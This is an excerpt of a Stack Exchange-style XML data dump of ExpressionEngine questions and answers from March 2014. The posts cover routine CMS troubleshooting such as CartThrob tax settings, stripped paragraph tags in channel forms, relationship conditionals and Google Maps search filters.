  <row Id="20061" PostTypeId="2" ParentId="20041" CreationDate="2014-03-06T23:17:07.397" Score="2" Body="&lt;p&gt;There's no need to update 1 before upgrading to 2, that's some Cargo Cult voodoo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That error is specific to the installer attempting to run third_party update routines (often). Temporally remove third_party and try the installer again.&lt;/p&gt;&#xA;" OwnerUserId="2821" LastActivityDate="2014-03-06T23:17:07.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20062" PostTypeId="1" CreationDate="2014-03-07T00:29:26.177" Score="1" ViewCount="22" Body="&lt;p&gt;After upgrading Carttrob from v 2.4 to 2.5, Cartthrob adds tax to all orders rather than just to the orders in the jurisdictions established in the Tax Settings area.  This happened when upgrading to v 2.4 and it required a support session to fix.  (I don't know what was done to fix it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is welcome.&lt;/p&gt;&#xA;" OwnerUserId="2822" LastActivityDate="2014-03-07T00:29:26.177" Title="Cartthrob adds tax to all orders after upgrading to v. 2.5" Tags="|cartthrob|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20063" PostTypeId="1" AcceptedAnswerId="20117" CreationDate="2014-03-07T01:03:40.857" Score="0" ViewCount="178" Body="&lt;p&gt;When we enter properly formatted HTML into the RTE via the CP, the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags are present. But when we use the &lt;code&gt;{exp:channel:form ...}&lt;/code&gt; we lose all the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags but retain all other tags. We're using &lt;code&gt;Textarea (Rich Text)&lt;/code&gt; fields because we need the RTE on our custom dashboard. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested the &lt;code&gt;{exp:channel:entries ...}&lt;/code&gt; and the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags were properly retained. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what could be causing this? How can we fix it? We need the channel form to output the proper tags because we have a live preview of what's in the populated &lt;code&gt;textarea&lt;/code&gt; elements.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using &lt;code&gt;{field:my_channel_field}&lt;/code&gt; the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags are retained, but the RTE isn't created. It's just a &lt;code&gt;textarea&lt;/code&gt; with html/text.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some digging and found that in the SQL tables there are no &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags, meaning that they're inserted when the data is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance this is what's actually in the Database&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Lorem nascetur &amp;lt;/h3&amp;gt; Porttitor. Integer nunc. Hac ultricies velit magnis. Nunc est, tortor proin? &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this what is output when using &lt;code&gt;{exp:channel:entries ...}&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Lorem nascetur &amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt; Porttitor. Integer nunc. Hac ultricies velit magnis. Nunc est, tortor proin?&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So at some point the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags are being injected into the document, and I want to know how can I force this so they are in the RTE when the user goes to edit them within an &lt;code&gt;{exp:channel:form ...}&lt;/code&gt; loop?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update 3:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found these in &lt;code&gt;/system/expressionengine/modules/rte/libraries/Rte_lib.php&lt;/code&gt; on lines 445 to 446&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Strip paragraph tags&#xA;$data = preg_replace(&quot;#&amp;lt;(/)?pre[^&amp;gt;]*?&amp;gt;#i&quot;, &quot;&amp;lt;$1pre&amp;gt;&quot;, $data);&#xA;$data = preg_replace(&quot;#&amp;lt;p&amp;gt;|&amp;lt;p(?!re)[^&amp;gt;]*?&quot;.&quot;&amp;gt;|&amp;lt;/p&amp;gt;#i&quot;, &quot;&quot;,  preg_replace(&quot;#&amp;lt;\/p&amp;gt;&amp;lt;p(?!re)[^&amp;gt;]*?&quot;.&quot;&amp;gt;#i&quot;, &quot;\n&quot;, $data));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (stristr($str, '&amp;lt;p') !== FALSE)&#xA;{&#xA;    $str = preg_replace(&quot;#&amp;lt;(/)?pre[^&amp;gt;]*?&amp;gt;#i&quot;, &quot;&amp;lt;$1pre&amp;gt;&quot;, $str);&#xA;    $str = preg_replace(&quot;#&amp;lt;p&amp;gt;|&amp;lt;p(?!re)[^&amp;gt;]*?&quot;.&quot;&amp;gt;|&amp;lt;/p&amp;gt;#i&quot;, &quot;&quot;,  preg_replace(&quot;#&amp;lt;\/p&amp;gt;&amp;lt;p(?!re)[^&amp;gt;]*?&quot;.&quot;&amp;gt;#i&quot;, &quot;\n&quot;, $str));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in &lt;code&gt;/system/expressionengine/libraries/EE_Typography.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Commenting them out didn't seem to solve the problem&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update 4:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested my theory more completely by simply doing a &lt;code&gt;{exp:channel:entries ...}&lt;/code&gt; and &lt;code&gt;{exp:channel:form ..}&lt;/code&gt; on a blank template with nothing other than a field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When output, the &lt;code&gt;channel:form&lt;/code&gt; actually outputs HTML tags (&lt;code&gt;&amp;lt;h3&amp;gt;&lt;/code&gt; from update 2 above) that never get rendered, and the &lt;code&gt;channel:entries&lt;/code&gt; outputs the correct HTML and does get rendered. See picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/867LT.png&quot; alt=&quot;Example of channel:form output&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="1931" LastEditDate="2014-03-07T23:51:48.517" LastActivityDate="2014-04-15T11:10:51.377" Title="Channel Form is not inserting &lt;p&gt; tags like Channel Entries does; all &lt;p&gt; tags mysteriously gone from entries" Tags="|channel-form|tags|rte|formatting|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20064" PostTypeId="1" AcceptedAnswerId="20076" CreationDate="2014-03-07T01:49:34.857" Score="2" ViewCount="183" Body="&lt;p&gt;I am working with three Relationship fields and I would like to be able to display a section only if there are any related articles in that section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this without success:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if related_tips != &quot;&quot;}&#xA;  &amp;lt;h3&amp;gt;Related Tips&amp;lt;/h3&amp;gt;&#xA;   &amp;lt;ul&amp;gt;&#xA;    {related_tips}&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}in_the_garden/decorating_tip/{related_tips:url_title}&quot;&amp;gt;{related_tips:title}&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt;&#xA;    {/related_tips}&#xA;   &amp;lt;/ul&amp;gt;                &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would appreciate some guidance on how this should be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="258" LastEditDate="2014-03-07T02:03:04.607" LastActivityDate="2014-03-07T15:12:56.537" Title="How do I use a conditional to display Relationships content?" Tags="|relationships|conditionals|related-entries|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20065" PostTypeId="1" CreationDate="2014-03-07T02:38:15.043" Score="2" ViewCount="381" Body="&lt;p&gt;I've run into an unexpected issue with manual payments: when checking out, discounts are successfully applied on the front-end (discount amount is returned and total amount updates accordingly) but when viewing the order in the Store admin the discount is missing from the order (i.e. displays $0.00).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not happen for credit card orders (processed through Stripe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A note on my checkout process. I'm using Switchee to check the member group. If the member is in our commercial member group they're presented with a manual payment form so that we can process the order and invoice for the payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at a loss for what may be happening during the payment processing that would drop the discount. To be sure there are no conflicts, I disabled the two extensions that I use in conjunction with Store (one hooks into store_order_taxes and the other store_order_complete_end), but still no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone encountered this, or something similar? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any insights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.3&lt;br /&gt;&#xA;Store 2.2.0&lt;/p&gt;&#xA;" OwnerUserId="2386" LastEditorUserId="2386" LastEditDate="2014-03-08T22:46:40.857" LastActivityDate="2014-10-27T06:50:20.643" Title="Store - Discount applied in checkout form, but not on final order" Tags="|expresso-store|checkout|discounts|orders|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20067" PostTypeId="1" CreationDate="2014-03-07T04:31:20.833" Score="0" ViewCount="72" Body="&lt;p&gt;I'm using Rob's great Resource router and Solspace Calendar, everything works fine until I try to do a validation in Resource router, then Calendar gives a huge error when trying to user {exp:calendar:events} tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure'&#xA; is not allowed' in /Applications/XAMPP/xamppfiles/htdocs/domain/third_party/calendar/addon_builder/&#xA;addon_builder.php:3073 Stack trace: #0 &#xA;/Applications/XAMPP/xamppfiles/htdocs/domain/third_party/calendar/addon_builder/addon_builder.php(3073): serialize(Array) #1 [internal function]: Addon_builder_calendar-&amp;gt;_imploder(Array) #2 &#xA;/Applications/XAMPP/xamppfiles/htdocs/domain/third_party/calendar/addon_builder/data.addon_builder.php(180): call_user_func_array(Array, Array) #3 [internal function]: Addon_builder_data_calendar-&amp;gt;__call('_imploder', Array) #4 /Applications/XAMPP/xamppfiles/htdocs/domain/third_party/calendar/data.calendar.php(2843): Calendar_data-&amp;gt;_imploder(Array) #5 /Applications/XAMPP/xamppfiles/htdocs/domain/third_party/calendar/mod.calendar.php(736): Calendar_data-&amp;gt;fetch_event_ids(Object(Calendar_parameters)) #6 /Applications/XAMPP/xamppfiles/htdocs/domain/ee-admin/expressionengine/libraries/Template.php(1308): in /Applications/XAMPP/xamppfiles/htdocs/domain/third_party/calendar/addon_builder/addon_builder.php on line 3073&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This happens when I use this rule in Router:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;':category_url_title' =&amp;gt; function($router, $wildcard) {&#xA;        if ($wildcard-&amp;gt;isValidCategoryUrlTitle()) {&#xA;            $router-&amp;gt;setTemplate('router/home');&#xA;        } else {&#xA;            $router-&amp;gt;set404();&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but without callbacks it works just fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;':category_url_title' =&amp;gt; 'router/home',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could find some other way to validate it, but Router has so many usefull callbacks that its a shame not to use them. I also opened  ticket on Rob's Router github just to cross reference &lt;a href=&quot;https://github.com/rsanchez/resource_router/issues/3&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rsanchez/resource_router/issues/3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.3. &#xA;Calendar 1.8.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="281" LastActivityDate="2014-03-07T04:31:20.833" Title="Calendar throws an error when using validation callbacks in Resource router" Tags="|solspace|solspace-calendar|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20068" PostTypeId="2" ParentId="19591" CreationDate="2014-03-07T06:29:40.523" Score="0" Body="&lt;p&gt;This ended up being a far more complex problem than I expected. The site was running over HTTPS. It had a load balancer in front of 2 web servers. The SSL was being terminated at the load balancer, with non-SSL traffic being sent to the web servers. While the site was configured for SSL use, somewhere a REDIRECT was being generated for the Control Panel's asynchronous javascript loading. The REDIRECT was from HTTPS to HTTP. This was causing load errors in the browser, which was manifesting itself as the error above. When the load balancer was taken out of the loop, it worked fine. &lt;/p&gt;&#xA;" OwnerUserId="2771" LastActivityDate="2014-03-07T06:29:40.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20069" PostTypeId="2" ParentId="20046" CreationDate="2014-03-07T08:52:01.090" Score="1" Body="&lt;p&gt;Further to Andrews answer sometimes you don't want to disable everything so it can be handy to set up several snippets (or global variables) for each disable pattern, eg&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{disable} - categories|category_fields|member_data|pagination - disable all&#xA;{disable-c} - category_fields|member_data|pagination - disable all except categories&#xA;{disable-p} - categories|category_fields|member_data - disable all except pagination&#xA;{disable-c-p} - category_fields|member_data - disable all except categories and pagination&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and so on.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-03-07T08:52:01.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20070" PostTypeId="2" ParentId="19984" CreationDate="2014-03-07T08:54:30.600" Score="1" Body="&lt;p&gt;Yes Stripe has a UK version and it works just fine with Cartthrob, see &lt;a href=&quot;https://stripe.com/gb&quot; rel=&quot;nofollow&quot;&gt;https://stripe.com/gb&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-03-07T08:54:30.600" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20071" PostTypeId="1" AcceptedAnswerId="20094" CreationDate="2014-03-07T09:20:03.747" Score="0" ViewCount="238" Body="&lt;p&gt;We're trying to work out the best way to get Freeform to send notifications in the user's language. For example, our contact form is on a page where the first segment is the lang code (/en/, /de/, etc.). We've set the config lang to match the lang set in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Paul&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2014-03-08T03:26:16.270" Title="Freeform multi-language notifications" Tags="|solspace-freeform|solspace|multi-language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20072" PostTypeId="1" AcceptedAnswerId="20338" CreationDate="2014-03-07T10:01:15.970" Score="1" ViewCount="340" Body="&lt;p&gt;The following plugin code works fine for me locally running mamp and php 5.5.3, but returns nothing on our dev server running php 5.5.8:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rating     = ee()-&amp;gt;input-&amp;gt;post('rating');&#xA;return $rating;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both environments are running EE 2.7.3. The template code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;ratingform&quot; action=&quot;/globals/process-save-and-rate/{last_segment}/10/&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;rating&quot; id=&quot;rating&quot; value=&quot;4&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is in 'process-save-and-rate' is as follows (and I know this should be a module to process the form):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_4}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;1&quot;}&#xA;        {exp:pp_general:save_property entry_id=&quot;{segment_3}&quot; myaction=&quot;1&quot;}&#xA;    {/case}&#xA;    {case value=&quot;2&quot;}&#xA;        {exp:pp_general:save_property entry_id=&quot;{segment_3}&quot; myaction=&quot;2&quot;}&#xA;    {/case}&#xA;    {case value=&quot;3&quot;}&#xA;        {exp:pp_general:save_property entry_id=&quot;{segment_3}&quot; myaction=&quot;3&quot;}&#xA;    {/case}&#xA;    {case value=&quot;10&quot;}&#xA;        {exp:pp_general:save_and_rate entry_id=&quot;{segment_3}&quot;}&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If anyone can shed any light on why this is not working, I'd be very grateful. As I say, I'm just getting a blank screen whereas it should be outputting the value of the $rating variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secure forms is turned on in EE. Turning it off and removing the XID hash gives the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not seeing any php errors so am a bit stumped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2014-03-15T11:47:32.917" Title="Problem with ee()-&gt;input-&gt;post in plugin" Tags="|plugin|2.7.3|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="20073" PostTypeId="1" CreationDate="2014-03-07T11:30:11.807" Score="0" ViewCount="1131" Body="&lt;p&gt;I currently working on a small project which utilises &lt;a href=&quot;https://objectivehtml.com/google-maps&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Maps by Objective HTML&lt;/a&gt;. The scenario is a page with a search form. The search form contains a postcode field, a distance field, and a category dropdown select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HfWbq.png&quot; alt=&quot;Search form layout&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems 2/3 of the search work OK. If I was to type a postcode and set a distance from that postcode then the idea is that the user is then taken to a results page displaying a map with the necessary points marked on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thats all fine, the problem is categories. The dropdown list on the search form is populated correctly, but I'm struggling to grasp how to pass the category through to the results page, filtering your results according the category you've selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I maybe totally wrong but it was my understanding that categories are very reliant on the URL being used. That doesn't seem to come into the equation with this as you'll see below. The &lt;code&gt;return=&lt;/code&gt; parameter needs to direct you to the results template, with no mention of category. My markup is below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:search&#xA;    channel=&quot;property_sales&quot;&#xA;latitude_field=&quot;fs_latitude&quot;&#xA;longitude_field=&quot;fs_longitude&quot;&#xA;geocode_field=&quot;location&quot;&#xA;distance_field=&quot;distance_max&quot;&#xA;cache_post=&quot;false&quot;&#xA;return=&quot;/property/results/&quot;}&#xA;&#xA;&amp;lt;label for=&quot;location&quot;&amp;gt;Enter Postcode&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;&amp;lt;input name=&quot;location&quot; id=&quot;location&quot; class=&quot;form-control&quot; value=&quot;{if post:location}{post:location}{/if}&quot; type=&quot;text&quot;&amp;gt;&#xA;{if error:location}&amp;lt;p class=&quot;error&quot;&amp;gt;{error:location}&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;&amp;lt;label for=&quot;location&quot;&amp;gt;Distance from Postcode&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;&amp;lt;select name=&quot;distance_max&quot; class=&quot;form-control&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot; &amp;amp;#123;if=&quot;&quot; !distance_max=&quot;&quot; ||=&quot;&quot; distance_max=&quot;=&quot; &quot;&quot;}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;National&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;5&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 5}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;5 miles&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;10&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 10}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;10 miles&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;20&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 20}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;20 miles&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;50&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 50}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;50 miles&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;100&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 100}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;100 miles&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;&#xA;&amp;lt;label for=&quot;categories&quot;&amp;gt;Category of Property&amp;lt;/label&amp;gt;&#xA;    &amp;lt;select class=&quot;form-control&quot;&amp;gt;&#xA;&#xA;        {categories}&amp;lt;option&amp;gt;{category_name} - {category_url_title}&amp;lt;/option&amp;gt;{/categories}&#xA;    &amp;lt;/select&amp;gt;&#xA;&#xA;&amp;lt;button class=&quot;btn btn-primary btn form-control&quot; type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;&#xA;{/exp:gmap:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is the search form and this is the result template markup, where I assume the category information has to come into it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:init id=&quot;map&quot; class=&quot;gmap&quot; style=&quot;width:100%;height:400px&quot;}&#xA;&#xA;{exp:gmap:results &#xA;    order_by=&quot;distance&quot; &#xA;    sort=&quot;asc&quot; &#xA;    parse=&quot;inward&quot;}&#xA;&#xA;    {if has_searched}&#xA;&amp;lt;ul&amp;gt;&#xA;    {results}{total_results}&#xA;    &amp;lt;li&amp;gt;{title} - {distance}&amp;lt;/li&amp;gt;&#xA;    {/results}   &#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;        {results}                   &#xA;&#xA;         {exp:gmap:marker &#xA;             id=&quot;map&quot; &#xA;             latitude=&quot;{fs_latitude}&quot; &#xA;             longitude=&quot;{fs_longitude}&quot;}&#xA;&#xA;            {/results}&#xA;&#xA;    {if:else}&#xA;&#xA;        {exp:channel:entries &#xA;            channel=&quot;property_sales&quot; &#xA;            dynamic=&quot;no&quot; &#xA;            disable=&quot;member_data|pagination&quot; &#xA;            parse=&quot;inward&quot;}&#xA;&#xA;        {location_gmap id=&quot;map&quot;}&#xA;&#xA;        {/exp:channel:entries}&#xA;&#xA;    {/if}&#xA;&#xA;{if no_results}&#xA;&#xA;&amp;lt;p&amp;gt;No results found&amp;lt;/p&amp;gt;&#xA;&#xA;{exp:channel:entries &#xA;        channel=&quot;locations&quot; &#xA;        dynamic=&quot;no&quot; &#xA;        disable=&quot;member_data|pagination&quot; &#xA;        parse=&quot;inward&quot;}&#xA;&#xA;    {location_gmap id=&quot;map&quot;}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;    {/if}&#xA;&#xA;{/exp:gmap:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I apologise for the long winded question, but has anyone managed to get a category filter working on this module&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot, any advice is much appreciated&lt;/p&gt;&#xA;" OwnerUserId="1230" LastActivityDate="2014-05-11T20:54:58.597" Title="Category Filter for Google Map Search" Tags="|categories|search|filter|google-maps-for-ee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20074" PostTypeId="1" CreationDate="2014-03-07T11:42:31.163" Score="0" ViewCount="103" Body="&lt;p&gt;I've set up CartThrob and using Sage Pay (server) to process payments.&#xA;Using the {exp:cartthrob:checkout_form} tags once billing address details are added and the form is submitted I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined property: Cartthrob_sage_s::$tokenhost&#xA;Filename: payment_gateways/Cartthrob_sage_s.php&#xA;Line Number: 469&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot find any examples of this issue on the CartThrob forums or here so wondering if there are any ideas how to resolve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cole&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2015-10-11T13:50:51.743" Title="Sage Pay (Server) throwing error at checkout" Tags="|cartthrob|payment-gateway|sagepay|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20075" PostTypeId="1" AcceptedAnswerId="20080" CreationDate="2014-03-07T13:21:32.577" Score="1" ViewCount="64" Body="&lt;p&gt;I updated EE 2.5.2 to 2.7.3, changed the exp:safecracker tag to exp:channel:form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sending a new entry with no content outputs not an error message as expected it shows the tags like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field_errors}&#xA;   {error}&#xA;{/field_errors}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;channel:form has this parameter: error_handling=&quot;inline&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering why that is and how I could fix it?&lt;/p&gt;&#xA;" OwnerUserId="686" LastActivityDate="2014-03-08T01:50:02.810" Title="Updated from EE 2.5.2 to 2.7.3 channel:form outputs error tags" Tags="|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20076" PostTypeId="2" ParentId="20064" CreationDate="2014-03-07T14:30:24.590" Score="4" Body="&lt;p&gt;Try using the count and total results variables, but namespaced with the name of your relationship field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{relationship_field}&#xA;&#xA;    {if relationship_field:count ==1}&#xA;        &amp;lt;ol&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;li&amp;gt;{relationship_field:title}&amp;lt;/li&amp;gt;&#xA;&#xA;    {if relationship_field:count == relationship_field:total_results}&#xA;        &amp;lt;/ol&amp;gt;&#xA;    {/if}&#xA;&#xA;{/relationship_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="651" LastEditorUserId="1326" LastEditDate="2014-03-07T15:12:56.537" LastActivityDate="2014-03-07T15:12:56.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20078" PostTypeId="1" CreationDate="2014-03-07T15:34:18.337" Score="0" ViewCount="51" Body="&lt;p&gt;First time on an EE project, I want to build a search for my channel on the front end. Which is best way to achive this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 -sql via a form is this an option?&#xA;&#xA;2 - 3rd party module&#xA;&#xA;3. advanced search form?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My form is 4 dropdowns which filter the channel (jobs)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; -full time/part time&#xA;- qualification&#xA;- salary&#xA;- location&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2616" LastEditorUserId="2616" LastEditDate="2014-03-07T15:50:20.777" LastActivityDate="2014-03-09T07:41:43.613" Title="Searching channels" Tags="|search|forms|sql|ee|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
